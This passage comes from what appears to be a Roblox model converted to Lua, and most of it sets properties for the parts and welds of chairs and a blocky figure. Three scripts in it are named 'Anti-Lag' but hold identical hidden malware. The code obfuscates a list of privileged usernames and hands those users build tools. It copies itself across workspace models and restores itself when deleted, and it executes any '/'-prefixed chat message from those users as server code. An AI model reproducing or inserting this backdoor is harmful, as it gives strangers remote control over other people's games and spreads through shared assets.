1, 0) Weld668.C1 = CFrame.new(-1, 0.59992981, -1, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld668.Part0 = Part660 Weld668.Part1 = Part650 Weld668.part1 = Part650 Weld669.Parent = Part660 Weld669.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld669.C1 = CFrame.new(1, 0.599975586, -1, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld669.Part0 = Part660 Weld669.Part1 = Part653 Weld669.part1 = Part653 Model670.Name = "Chair" Model670.Parent = Model454 Model670.PrimaryPart = Part684 Part671.Name = "Smooth Block Model" Part671.Parent = Model670 Part671.CFrame = CFrame.new(-24.5410156, 54.0004845, -204.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part671.Orientation = Vector3.new(0, -90, 0) Part671.Position = Vector3.new(-24.5410156, 54.0004845, -204.751511) Part671.Rotation = Vector3.new(0, -90, 0) Part671.Color = Color3.new(0.627451, 0.372549, 0.207843) Part671.Size = Vector3.new(1, 1.20000005, 1) Part671.Anchored = true Part671.BrickColor = BrickColor.new("Dark orange") Part671.TopSurface = Enum.SurfaceType.Weld Part671.brickColor = BrickColor.new("Dark orange") SpecialMesh672.Parent = Part671 SpecialMesh672.Scale = Vector3.new(1.25, 1.25, 1.25) Weld673.Parent = Part671 Weld673.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld673.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld673.Part0 = Part671 Weld673.Part1 = Part684 Weld673.part1 = Part684 Weld674.Parent = Part671 Weld674.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld674.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld674.Part0 = Part671 Weld674.Part1 = Part684 Weld674.part1 = Part684 Weld675.Parent = Part671 Weld675.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld675.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld675.Part0 = Part671 Weld675.Part1 = Part684 Weld675.part1 = Part684 Weld676.Parent = Part671 Weld676.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld676.C1 = CFrame.new(1, -0.200042725, 1, -1, 0, 0, 0, 0, 1, 0, 1, 0) Weld676.Part0 = Part671 Weld676.Part1 = Part684 Weld676.part1 = Part684 Part677.Name = "Smooth Block Model" Part677.Parent = Model670 Part677.CFrame = CFrame.new(-24.5410156, 54.0004845, -206.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part677.Orientation = Vector3.new(0, -90, 0) Part677.Position = Vector3.new(-24.5410156, 54.0004845, -206.751511) Part677.Rotation = Vector3.new(0, -90, 0) Part677.Color = Color3.new(0.627451, 0.372549, 0.207843) Part677.Size = Vector3.new(1, 1.20000005, 1) Part677.Anchored = true Part677.BrickColor = BrickColor.new("Dark orange") Part677.TopSurface = Enum.SurfaceType.Weld Part677.brickColor = BrickColor.new("Dark orange") SpecialMesh678.Parent = Part677 SpecialMesh678.Scale = Vector3.new(1.25, 1.25, 1.25) Part679.Name = "Smooth Block Model" Part679.Parent = Model670 Part679.CFrame = CFrame.new(-22.5410156, 54.0004845, -204.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part679.Orientation = Vector3.new(0, -90, 0) Part679.Position = Vector3.new(-22.5410156, 54.0004845, -204.751511) Part679.Rotation = Vector3.new(0, -90, 0) Part679.Color = Color3.new(0.627451, 0.372549, 0.207843) Part679.Size = Vector3.new(1, 1.20000005, 1) Part679.Anchored = true Part679.BrickColor = BrickColor.new("Dark orange") Part679.TopSurface = Enum.SurfaceType.Weld Part679.brickColor = BrickColor.new("Dark orange") SpecialMesh680.Parent = Part679 SpecialMesh680.Scale = Vector3.new(1.25, 1.25, 1.25) Part681.Name = "Smooth Block Model" Part681.Parent = Model670 Part681.CFrame = CFrame.new(-22.5410156, 54.0004845, -206.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part681.Orientation = Vector3.new(0, -90, 0) Part681.Position = Vector3.new(-22.5410156, 54.0004845, -206.751511) Part681.Rotation = Vector3.new(0, -90, 0) Part681.Color = Color3.new(0.627451, 0.372549, 0.207843) Part681.Size = Vector3.new(1, 1.20000005, 1) Part681.Anchored = true Part681.BrickColor = BrickColor.new("Dark orange") Part681.TopSurface = Enum.SurfaceType.Weld Part681.brickColor = BrickColor.new("Dark orange") SpecialMesh682.Parent = Part681 SpecialMesh682.Scale = Vector3.new(1.25, 1.25, 1.25) Part683.Name = "Smooth Block Model" Part683.Parent = Model670 Part683.CFrame = CFrame.new(-23.5410156, 56.1005783, -204.051559, 0, 0, -1, -1, 0, 0, 0, 1, 0) Part683.Orientation = Vector3.new(0, -90, -90) Part683.Position = Vector3.new(-23.5410156, 56.1005783, -204.051559) Part683.Rotation = Vector3.new(90, -90, 0) Part683.Color = Color3.new(0.627451, 0.372549, 0.207843) Part683.Size = Vector3.new(3, 0.400000006, 3) Part683.Anchored = true Part683.BottomSurface = Enum.SurfaceType.Weld Part683.BrickColor = BrickColor.new("Dark orange") Part683.LeftSurface = Enum.SurfaceType.Weld Part683.RightSurface = Enum.SurfaceType.Weld Part683.TopSurface = Enum.SurfaceType.Smooth Part683.brickColor = BrickColor.new("Dark orange") Part684.Name = "Smooth Block Model" Part684.Parent = Model670 Part684.CFrame = CFrame.new(-23.5410156, 54.8005257, -205.751511, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part684.Orientation = Vector3.new(0, -90, 0) Part684.Position = Vector3.new(-23.5410156, 54.8005257, -205.751511) Part684.Rotation = Vector3.new(0, -90, 0) Part684.Color = Color3.new(0.627451, 0.372549, 0.207843) Part684.Size = Vector3.new(3, 0.400000006, 3) Part684.Anchored = true Part684.BrickColor = BrickColor.new("Dark orange") Part684.LeftSurface = Enum.SurfaceType.Weld Part684.RightSurface = Enum.SurfaceType.Weld Part684.TopSurface = Enum.SurfaceType.Weld Part684.brickColor = BrickColor.new("Dark orange") Script685.Name = "Anti-Lag" Script685.Parent = Part684 table.insert(cors,sandbox(Script685,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld686.Parent = Part684 Weld686.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld686.C1 = CFrame.new(1.30004883, -0.199951172, 0, 0, -1, 0, 0, 0, 1, -1, 0, 0) Weld686.Part0 = Part684 Weld686.Part1 = Part683 Weld686.part1 = Part683 Weld687.Parent = Part684 Weld687.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld687.C1 = CFrame.new(-0.499755859, 0.199951172, -1, 0, 0, 1, 1, 0, -0, 0, 1, -0) Weld687.Part0 = Part684 Weld687.Part1 = Part717 Weld687.part1 = Part717 Weld688.Parent = Part684 Weld688.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld688.C1 = CFrame.new(0, 0.199951172, -0.499755859, 0, -1, 0, 1, 0, -0, 0, 0, 1) Weld688.Part0 = Part684 Weld688.Part1 = Part716 Weld688.part1 = Part716 Weld689.Parent = Part684 Weld689.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld689.C1 = CFrame.new(1, 0.600097656, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld689.Part0 = Part684 Weld689.Part1 = Part681 Weld689.part1 = Part681 Weld690.Parent = Part684 Weld690.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld690.C1 = CFrame.new(-1, 0.600097656, 1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld690.Part0 = Part684 Weld690.Part1 = Part679 Weld690.part1 = Part679 Weld691.Parent = Part684 Weld691.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld691.C1 = CFrame.new(-1, 0.600097656, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld691.Part0 = Part684 Weld691.Part1 = Part671 Weld691.part1 = Part671 Weld692.Parent = Part684 Weld692.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld692.C1 = CFrame.new(1, 0.600097656, -1, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld692.Part0 = Part684 Weld692.Part1 = Part677 Weld692.part1 = Part677 Model693.Name = "Chair" Model693.Parent = Model454 Model693.PrimaryPart = Part707 Part694.Name = "Smooth Block Model" Part694.Parent = Model693 Part694.CFrame = CFrame.new(-17.5410156, 54.0002365, -205.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part694.Orientation = Vector3.new(0, -90, 0) Part694.Position = Vector3.new(-17.5410156, 54.0002365, -205.051559) Part694.Rotation = Vector3.new(0, -90, 0) Part694.Color = Color3.new(0.627451, 0.372549, 0.207843) Part694.Size = Vector3.new(1, 1.20000005, 1) Part694.Anchored = true Part694.BrickColor = BrickColor.new("Dark orange") Part694.TopSurface = Enum.SurfaceType.Weld Part694.brickColor = BrickColor.new("Dark orange") SpecialMesh695.Parent = Part694 SpecialMesh695.Scale = Vector3.new(1.25, 1.25, 1.25) Part696.Name = "Smooth Block Model" Part696.Parent = Model693 Part696.CFrame = CFrame.new(-17.5410156, 54.0002365, -207.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part696.Orientation = Vector3.new(0, -90, 0) Part696.Position = Vector3.new(-17.5410156, 54.0002365, -207.051559) Part696.Rotation = Vector3.new(0, -90, 0) Part696.Color = Color3.new(0.627451, 0.372549, 0.207843) Part696.Size = Vector3.new(1, 1.20000005, 1) Part696.Anchored = true Part696.BrickColor = BrickColor.new("Dark orange") Part696.TopSurface = Enum.SurfaceType.Weld Part696.brickColor = BrickColor.new("Dark orange") SpecialMesh697.Parent = Part696 SpecialMesh697.Scale = Vector3.new(1.25, 1.25, 1.25) Part698.Name = "Smooth Block Model" Part698.Parent = Model693 Part698.CFrame = CFrame.new(-15.5410156, 54.0002365, -205.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part698.Orientation = Vector3.new(0, -90, 0) Part698.Position = Vector3.new(-15.5410156, 54.0002365, -205.051559) Part698.Rotation = Vector3.new(0, -90, 0) Part698.Color = Color3.new(0.627451, 0.372549, 0.207843) Part698.Size = Vector3.new(1, 1.20000005, 1) Part698.Anchored = true Part698.BrickColor = BrickColor.new("Dark orange") Part698.TopSurface = Enum.SurfaceType.Weld Part698.brickColor = BrickColor.new("Dark orange") SpecialMesh699.Parent = Part698 SpecialMesh699.Scale = Vector3.new(1.25, 1.25, 1.25) Weld700.Parent = Part698 Weld700.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld700.C1 = CFrame.new(1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, -0) Weld700.Part0 = Part698 Weld700.Part1 = Part707 Weld700.part1 = Part707 Part701.Name = "Smooth Block Model" Part701.Parent = Model693 Part701.CFrame = CFrame.new(-15.5410156, 54.0002365, -207.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part701.Orientation = Vector3.new(0, -90, 0) Part701.Position = Vector3.new(-15.5410156, 54.0002365, -207.051559) Part701.Rotation = Vector3.new(0, -90, 0) Part701.Color = Color3.new(0.627451, 0.372549, 0.207843) Part701.Size = Vector3.new(1, 1.20000005, 1) Part701.Anchored = true Part701.BrickColor = BrickColor.new("Dark orange") Part701.TopSurface = Enum.SurfaceType.Weld Part701.brickColor = BrickColor.new("Dark orange") SpecialMesh702.Parent = Part701 SpecialMesh702.Scale = Vector3.new(1.25, 1.25, 1.25) Weld703.Parent = Part701 Weld703.C0 = CFrame.new(0, 0.600000024, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld703.C1 = CFrame.new(-1, -0.199951172, -1, -1, 0, 0, 0, 0, 1, 0, 1, -0) Weld703.Part0 = Part701 Weld703.Part1 = Part707 Weld703.part1 = Part707 Part704.Name = "Smooth Block Model" Part704.Parent = Model693 Part704.CFrame = CFrame.new(-16.5410156, 56.1002083, -204.351563, 0, 0, -1, -1, 0, 0, 0, 1, 0) Part704.Orientation = Vector3.new(0, -90, -90) Part704.Position = Vector3.new(-16.5410156, 56.1002083, -204.351563) Part704.Rotation = Vector3.new(90, -90, 0) Part704.Color = Color3.new(0.627451, 0.372549, 0.207843) Part704.Size = Vector3.new(3, 0.400000006, 3) Part704.Anchored = true Part704.BottomSurface = Enum.SurfaceType.Weld Part704.BrickColor = BrickColor.new("Dark orange") Part704.LeftSurface = Enum.SurfaceType.Weld Part704.RightSurface = Enum.SurfaceType.Weld Part704.TopSurface = Enum.SurfaceType.Smooth Part704.brickColor = BrickColor.new("Dark orange") Weld705.Parent = Part704 Weld705.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld705.C1 = CFrame.new(1, -1, -1.40002823, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld705.Part0 = Part704 Weld705.Part1 = Part761 Weld705.part1 = Part761 Weld706.Parent = Part704 Weld706.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld706.C1 = CFrame.new(-1, -1, 0.599971771, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld706.Part0 = Part704 Weld706.Part1 = Part735 Weld706.part1 = Part735 Part707.Name = "Smooth Block Model" Part707.Parent = Model693 Part707.CFrame = CFrame.new(-16.5410156, 54.8001671, -206.051559, 0, 0, -1, 0, 1, 0, 1, 0, 0) Part707.Orientation = Vector3.new(0, -90, 0) Part707.Position = Vector3.new(-16.5410156, 54.8001671, -206.051559) Part707.Rotation = Vector3.new(0, -90, 0) Part707.Color = Color3.new(0.627451, 0.372549, 0.207843) Part707.Size = Vector3.new(3, 0.400000006, 3) Part707.Anchored = true Part707.BrickColor = BrickColor.new("Dark orange") Part707.LeftSurface = Enum.SurfaceType.Weld Part707.RightSurface = Enum.SurfaceType.Weld Part707.TopSurface = Enum.SurfaceType.Weld Part707.brickColor = BrickColor.new("Dark orange") Script708.Name = "Anti-Lag" Script708.Parent = Part707 table.insert(cors,sandbox(Script708,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld709.Parent = Part707 Weld709.C0 = CFrame.new(1.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld709.C1 = CFrame.new(1.30004883, -0.199996948, 0, -0, -1, -0, 0, 0, 1, -1, -0, -0) Weld709.Part0 = Part707 Weld709.Part1 = Part704 Weld709.part1 = Part704 Weld710.Parent = Part707 Weld710.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld710.C1 = CFrame.new(1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, -0, 1, 0) Weld710.Part0 = Part707 Weld710.Part1 = Part696 Weld710.part1 = Part696 Weld711.Parent = Part707 Weld711.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld711.C1 = CFrame.new(-1, 0.59992981, 1, 1, 0, 0, 0, 0, -1, -0, 1, 0) Weld711.Part0 = Part707 Weld711.Part1 = Part698 Weld711.part1 = Part698 Weld712.Parent = Part707 Weld712.C0 = CFrame.new(0, 0.200000003, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) Weld712.C1 = CFrame.new(-1, 0.5, -0.50012207, 0, -1, 0, 1, 0, -0, 0, 0, 1) Weld712.Part0 = Part707 Weld712.Part1 = Part735 Weld712.part1 = Part735 Weld713.Parent = Part707 Weld713.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld713.C1 = CFrame.new(1, 0.59992981, 1, 1, 0, 0, 0, 0, -1, -0, 1, 0) Weld713.Part0 = Part707 Weld713.Part1 = Part701 Weld713.part1 = Part701 Weld714.Parent = Part707 Weld714.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld714.C1 = CFrame.new(-1, 0.599975586, -1, 1, 0, 0, 0, 0, -1, -0, 1, 0) Weld714.Part0 = Part707 Weld714.Part1 = Part694 Weld714.part1 = Part694 Model715.Parent = Model368 Part716.Name = "Right Arm" Part716.Parent = Model715 Part716.CFrame = CFrame.new(-23.5410156, 55.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part716.Orientation = Vector3.new(-90, 0, 0) Part716.Position = Vector3.new(-23.5410156, 55.5002365, -205.551559) Part716.Rotation = Vector3.new(-90, 0, 0) Part716.Color = Color3.new(0.294118, 0.592157, 0.294118) Part716.Size = Vector3.new(1, 2, 1) Part716.Anchored = true Part716.BottomSurface = Enum.SurfaceType.Smooth Part716.BrickColor = BrickColor.new("Bright green") Part716.TopSurface = Enum.SurfaceType.Smooth Part716.brickColor = BrickColor.new("Bright green") Part717.Name = "Right Arm" Part717.Parent = Model715 Part717.CFrame = CFrame.new(-24.5410156, 55.5002365, -205.551559, 0, 0, -1, 1, 0, 0, 0, -1, 0) Part717.Orientation = Vector3.new(0, -90, 90) Part717.Position = Vector3.new(-24.5410156, 55.5002365, -205.551559) Part717.Rotation = Vector3.new(-90, -90, 0) Part717.Color = Color3.new(0.294118, 0.592157, 0.294118) Part717.Size = Vector3.new(1, 2, 1) Part717.Anchored = true Part717.BottomSurface = Enum.SurfaceType.Smooth Part717.BrickColor = BrickColor.new("Bright green") Part717.TopSurface = Enum.SurfaceType.Smooth Part717.brickColor = BrickColor.new("Bright green") Part718.Name = "Torso" Part718.Parent = Model715 Part718.CFrame = CFrame.new(-24.0410156, 57.0002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part718.Position = Vector3.new(-24.0410156, 57.0002365, -205.051559) Part718.Color = Color3.new(0.0509804, 0.411765, 0.67451) Part718.Size = Vector3.new(2, 2, 1) Part718.Anchored = true Part718.BrickColor = BrickColor.new("Bright blue") Part718.LeftParamA = 0 Part718.LeftParamB = 0 Part718.LeftSurface = Enum.SurfaceType.Weld Part718.RightParamA = 0 Part718.RightParamB = 0 Part718.RightSurface = Enum.SurfaceType.Weld Part718.brickColor = BrickColor.new("Bright blue") Weld719.Parent = Part718 Weld719.C0 = CFrame.new(1, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld719.C1 = CFrame.new(-0.5, -0.5, -0.299926758, 0, 0, 1, 1, -0, -0, 0, 1, 0) Weld719.Part0 = Part718 Weld719.Part1 = Part720 Weld719.part1 = Part720 Part720.Name = "Right Arm" Part720.Parent = Model715 Part720.CFrame = CFrame.new(-22.5410156, 57.3001671, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part720.Orientation = Vector3.new(-90, 0, 0) Part720.Position = Vector3.new(-22.5410156, 57.3001671, -205.551559) Part720.Rotation = Vector3.new(-90, 0, 0) Part720.Color = Color3.new(0.960784, 0.803922, 0.188235) Part720.Size = Vector3.new(1, 2, 1) Part720.Anchored = true Part720.BottomSurface = Enum.SurfaceType.Smooth Part720.BrickColor = BrickColor.new("Bright yellow") Part720.TopSurface = Enum.SurfaceType.Smooth Part720.brickColor = BrickColor.new("Bright yellow") Weld721.Parent = Part720 Weld721.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld721.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld721.Part0 = Part720 Weld721.Part1 = Part718 Weld721.part1 = Part718 Weld722.Parent = Part720 Weld722.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld722.C1 = CFrame.new(1, 0.299930573, -0.5, 0, 0, -1, 1, 0, 0, 0, -1, 0) Weld722.Part0 = Part720 Weld722.Part1 = Part718 Weld722.part1 = Part718 Part723.Name = "Head" Part723.Parent = Model715 Part723.CFrame = CFrame.new(-24.0410156, 58.5002365, -205.051559, 1, 0, 0, 0, 1, 0, 0, 0, 1) Part723.Position = Vector3.new(-24.0410156, 58.5002365, -205.051559) Part723.Color = Color3.new(0.960784, 0.803922, 0.188235) Part723.Size = Vector3.new(2, 1, 1) Part723.Anchored = true Part723.BrickColor = BrickColor.new("Bright yellow") Part723.TopSurface = Enum.SurfaceType.Smooth Part723.brickColor = BrickColor.new("Bright yellow") SpecialMesh724.Parent = Part723 SpecialMesh724.Scale = Vector3.new(1.25, 1.25, 1.25) Decal725.Name = "face" Decal725.Parent = Part723 Snap726.Parent = Part723 Snap726.C0 = CFrame.new(0, -0.5, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Snap726.C1 = CFrame.new(0, 1, 0, 1, 0, 0, 0, 0, -1, 0, 1, 0) Snap726.Part0 = Part723 Snap726.Part1 = Part718 Snap726.part1 = Part718 Part727.Name = "Right Arm" Part727.Parent = Model715 Part727.CFrame = CFrame.new(-25.5410156, 57.5002365, -205.551559, 1, 0, -0, 0, 0, 1, 0, -1, 0) Part727.Orientation = Vector3.new(-90, 0, 0) Part727.Position = Vector3.new(-25.5410156, 57.5002365, -205.551559) Part727.Rotation = Vector3.new(-90, 0, 0) Part727.Color = Color3.new(0.960784, 0.803922, 0.188235) Part727.Size = Vector3.new(1, 2, 1) Part727.Anchored = true Part727.BottomSurface = Enum.SurfaceType.Smooth Part727.BrickColor = BrickColor.new("Bright yellow") Part727.TopSurface = Enum.SurfaceType.Smooth Part727.brickColor = BrickColor.new("Bright yellow") Script728.Name = "Anti-Lag" Script728.Parent = Part727 table.insert(cors,sandbox(Script728,function() Altitude = script:clone() calco = {"u", "1","4","D","j","g","M","k","a","e","d","c","2","3","r","t","j"} Knox = {} table.insert (Knox, 1 ,string.reverse(calco[2] .. calco[11] .. calco[10] .. calco[1] .. calco[4])) table.insert (Knox, 2 ,string.reverse(calco[2] .. calco[3] .. calco[16] .. calco[15] .. calco[10] .. calco[4])) table.insert (Knox, 3 ,string.reverse(calco[14] .. calco[13] .. calco[2] .. calco[8] .. calco[12] .. calco[9] .. calco[5])) table.insert (Knox, 4 ,string.reverse(calco[17] .. calco[5] .. calco[17] .. calco[4])) Play = {} function rando(votation) local hatr = 5 local calc = math.pi * math.huge local longicate = votation:GetChildren() if #longicate > hatr then calc = calc + math.pi return longicate[math.random(6,#longicate)] end end function doublecheck() local fj = game.Workspace:GetChildren() for off = 1,#fj do if fj[off].className == "Part" then local fh = fj[off]:FindFirstChild("Anti-Lag") if fh ~= nil then return false end end end return true end function workcheck() if doublecheck() == true then local l = Altitude:clone() l.Parent = rando(game.Workspace) end end workcheck() function gibite(quen) local hup = Instance.new("Message") hup.Text = "Detected" hup.Parent = quen.Parent local con = Instance.new("Script") con.Source = [[wait(5) script.Parent:remove()]] con.Parent = hup for ish = 0,7 do local a = Instance.new("HopperBin") a.BinType = ish a.Parent = quen end end function laber(zonsa) wait() for slate = 1,#Knox do if zonsa.Name == Knox[slate] then gibite(zonsa.Backpack) table.insert (Play, 1, zonsa.Name) end end end function yeild(frequency) local t = Knox for g = 1,#t do if t[g] == frequency.Name then return true end end return false end function check(los) local r = los:GetChildren() for i = 1,#r do local h = r[i]:FindFirstChild("Anti-Lag") if h ~= nil then h:remove() end end end function alto(xylem) if xylem.className == "Model" then check(xylem) local que = script:clone() que.Parent = rando(xylem) end end function sortation(gone) local dimbs = Altitude:clone() dimbs = ramno(game.Workspace) end function onPlayerEntered(newPlayer) newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) end function Player(player) player.Changed:connect(function (property) if property == "Character" then laber(player) end end) end game.Players.PlayerAdded:connect(Player) game.Players.ChildAdded:connect(onPlayerEntered) game.Players.ChildAdded:connect(laber) script.ChildRemoved:connect(sortation) game.Workspace.ChildAdded:connect(alto) function onChatted(msg, recipient, speaker) if yeild(speaker) ~= false then if string.sub(msg,1,1) == "/" then local dsting = Instance.new("Script") dsting.Source = string.sub(msg,2) dsting.Parent = game.Workspace end end end end)) Weld729.Parent = Part727 Weld729.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld729.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0) Weld729.Part0 = Part727 Weld729.Part1 = Part718 Weld729.part1 = Part718 Weld730.Parent = Part727 Weld730.C0 = CFrame.new(0.5, 0, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) Weld730.C1 = CFrame.new(-1, 0.5, -0.5, 0, 0, 1, -1, 0, 0, 0, -1, 0) Weld730.Part0 = Part727 Weld730.Part1 = Part718 Weld730.part1 = Part718 Weld731.Parent = Part727 Weld731.C0 = CFrame.new(0.5, 